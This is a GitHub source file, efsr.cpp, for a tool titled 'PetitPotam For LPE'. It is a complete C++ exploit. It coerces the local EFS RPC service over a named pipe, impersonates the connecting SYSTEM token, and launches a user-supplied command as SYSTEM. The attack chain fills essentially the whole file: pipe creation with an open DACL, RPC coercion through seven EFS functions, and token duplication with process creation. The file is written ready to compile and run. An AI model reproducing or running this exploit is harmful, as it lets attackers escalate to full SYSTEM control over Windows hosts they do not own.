-
Notifications
You must be signed in to change notification settings - Fork 19
/
efsr.cpp
370 lines (325 loc) · 9.62 KB
/
efsr.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
#pragma comment(lib, "RpcRT4.lib")
#pragma comment(lib, "userenv.lib")
#include "efsr_h.h"
#include <iostream>
#include <userenv.h>
#include <tchar.h>
#include <strsafe.h>
#include <sddl.h>
#include <thread>
#include <string>
BOOL g_bInteractWithConsole = TRUE;
LPWSTR g_pwszCommandLine = NULL;
VOID PrintUsage(wchar_t** argv)
{
wprintf(
L"\nPetitPotam For LPE (by @Crispr)\nProvided that the current user has the SeImpersonate privilege, this tool will have an escalation to SYSTEM\n"
);
printf("Author:Crispr\n");
printf("[+]Usage:%ws -m <EFS-API-to-use> -c <CMD>\n\n", argv[0]);
wprintf(L"1: EfsRpcOpenFileRaw (fixed with CVE-2021-36942)\n");
wprintf(L"2: EfsRpcEncryptFileSrv_Downlevel\n");
wprintf(L"3: EfsRpcDecryptFileSrv_Downlevel\n");
wprintf(L"4: EfsRpcQueryUsersOnFile_Downlevel\n");
wprintf(L"5: EfsRpcQueryRecoveryAgents_Downlevel\n");
wprintf(L"6: EfsRpcRemoveUsersFromFile_Downlevel\n");
wprintf(L"7: EfsRpcAddUsersToFile_Downlevel\n");
wprintf(
L"Arguments:\n -c <CMD>\tExecute the command *CMD*\n"
);
return;
}
void GetSystemAsImpersonatedUser(HANDLE hToken)
{
DWORD dwCreationFlags = 0;
LPWSTR pwszCurrentDirectory = NULL;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
goto cleanup;
}
wprintf(L"[+]DuplicateTokenEx() OK\n");
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
{
goto cleanup;
}
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH))
{
wprintf(L"GetSystemDirectory() failed. Error: %d\n", GetLastError());
goto cleanup;
}
wprintf(L"[+]GetSystemDirectory: %ws\n", pwszCurrentDirectory);
if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE))
{
wprintf(L"CreateEnvironmentBlock() failed. Error: %d\n", GetLastError());
goto cleanup;
}
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = L"WinSta0\\default";
if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
{
wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");
RevertToSelf();
if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
goto cleanup;
}
else
{
wprintf(L"[+] CreateProcessWithTokenW() OK\n");
}
}
else
{
wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
else
{
wprintf(L"[+] CreateProcessAsUser() OK\n");
}
if (g_bInteractWithConsole)
{
fflush(stdout);
WaitForSingleObject(pi.hProcess, INFINITE);
}
cleanup:
if (hToken)
CloseHandle(hToken);
if (hSystemTokenDup)
CloseHandle(hSystemTokenDup);
if (pwszCurrentDirectory)
free(pwszCurrentDirectory);
if (lpEnvironment)
DestroyEnvironmentBlock(lpEnvironment);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return;
/*if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, L"cmd.exe", dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
CloseHandle(hSystemTokenDup);
return;
}
else
{
wprintf(L"[+] CreateProcessWithTokenW() OK\n");
return;
}*/
}
void StartNamedPipeAndGetSystem()
{
printf("start StartNamedPipeAndGetSystem\n");
HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
DWORD buffer_size = 0;
HANDLE hToken = INVALID_HANDLE_VALUE;
pwszPipeName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\crispr\\pipe\\srvsvc");
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
LocalFree(pwszPipeName);
return;
}
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
LocalFree(pwszPipeName);
return;
}
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
if (ConnectNamedPipe(hPipe, NULL)) {
wprintf(L"[+] A client connected!\n");
}
else {
wprintf(L"[-] Do Not Connect!\n");
CloseHandle(hPipe);
return;
}
if (ImpersonateNamedPipeClient(hPipe)) {
if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
GetSystemAsImpersonatedUser(hToken);
CloseHandle(hPipe);
}
}
else {
printf("CreateNamedPipe error\n");
CloseHandle(hPipe);
}
return ;
}
}
void ConnectEvilPipe(int choice)
{
RPC_STATUS status;
RPC_WSTR pszStringBinding;
RPC_BINDING_HANDLE BindingHandle;
status = RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",//这里取NULL也能代表本地连接
(RPC_WSTR)L"\\pipe\\lsass",
NULL,
&pszStringBinding
);
wprintf(L"[+]RpcStringBindingCompose status: %d\n", status);
wprintf(L"[*] String binding: %ws\r\n", pszStringBinding);
//绑定接口
status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);
wprintf(L"[+]RpcBindingFromStringBinding status: %d\n", status);
//释放资源
status = RpcStringFree(&pszStringBinding);
wprintf(L"RpcStringFree code:%d\n", status);
RpcTryExcept{
PVOID pContent;
LPWSTR pwszFileName;
pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/crispr\\C$\\x");
long result;
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
switch (choice)
{
case 1:
result = Proc0_EfsRpcOpenFileRaw_Downlevel(
BindingHandle,
&pContent,
pwszFileName,
0
);
//wprintf(L"[*] EfsRpcOpenFileRaw_Downlevel status code: %d\r\n", result);
break;
case 2:
result = Proc4_EfsRpcEncryptFileSrv_Downlevel(BindingHandle, pwszFileName);
//wprintf(L"[*] EfsRpcEncryptFileSrv_Downlevel status code: %d\r\n", result);
break;
case 3:
result = Proc5_EfsRpcDecryptFileSrv_Downlevel(BindingHandle, pwszFileName,0);
//wprintf(L"[*] EfsRpcDecryptFileSrv_Downlevel status code: %d\r\n", result);
break;
case 4:
Struct_220_t * blub_1;
result = Proc6_EfsRpcQueryUsersOnFile_Downlevel(BindingHandle, pwszFileName, &blub_1);
//wprintf(L"[*] EfsRpcQueryUsersOnFile_Downlevel status code: %d\r\n", result);
break;
case 5:
Struct_220_t * blub_2;
result = Proc7_EfsRpcQueryRecoveryAgents_Downlevel(BindingHandle, pwszFileName, &blub_2);
//wprintf(L"[*] EfsRpcQueryRecoveryAgents_Downlevel status code: %d\r\n", result);
break;
case 6:
Struct_220_t blub_3;
result = Proc8_EfsRpcRemoveUsersFromFile_Downlevel(BindingHandle, pwszFileName, &blub_3);
//wprintf(L"[*] EfsRpcRemoveUsersFromFile_Downlevel status code: %d\r\n", result);
break;
case 7:
Struct_346_t blub_4;
result = Proc9_EfsRpcAddUsersToFile_Downlevel(BindingHandle, pwszFileName, &blub_4);
//wprintf(L"[*] EfsRpcAddUsersToFile_Downlevel status code: %d\r\n", result);
break;
default:
break;
}
status = RpcBindingFree(
&BindingHandle // Reference to the opened binding handle
);
LocalFree(pwszFileName);
}
RpcExcept(1)
{
wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
}RpcEndExcept
}
int wmain(int argc, wchar_t** argv)
{
int choice;
while ((argc > 1) && (argv[1][0] == '-'))
{
switch (argv[1][1])
{
case 'h':
PrintUsage(argv);
return 0;
case 'c':
++argv;
--argc;
if (argc > 1 && argv[1][0] != '-')
{
g_pwszCommandLine = argv[1];
}
else
{
wprintf(L"[-] Missing value for option: -c\n");
PrintUsage(argv);
return -1;
}
break;
case 'm':
++argv;
--argc;
if (argc > 1 && argv[1][0] != '-')
{
size_t len = wcslen(argv[1]) + 1;
size_t converted = 0;
char* index;
index = (char*)malloc(sizeof(char) * len);
wcstombs_s(&converted, index, len, argv[1], _TRUNCATE);
choice = atoi(index);
}
else
{
wprintf(L"[-] Missing value for option: -c\n");
PrintUsage(argv);
return -1;
}
break;
default:
wprintf(L"[-] Invalid argument: %ls\n", argv[1]);
PrintUsage(argv);
return -1;
}
++argv;
--argc;
}
if (!g_pwszCommandLine)
{
wprintf(L"[-] Please specify a command to execute\n");
wprintf(L"[*] You can use -h to get help\n");
return -1;
}
std::thread t{ StartNamedPipeAndGetSystem };
t.detach();
Sleep(1000);
ConnectEvilPipe(choice);
Sleep(1500);
return 0;
}
// 下面的函数是为了满足链接需要而写的,没有的话会出现链接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
free(ptr);
}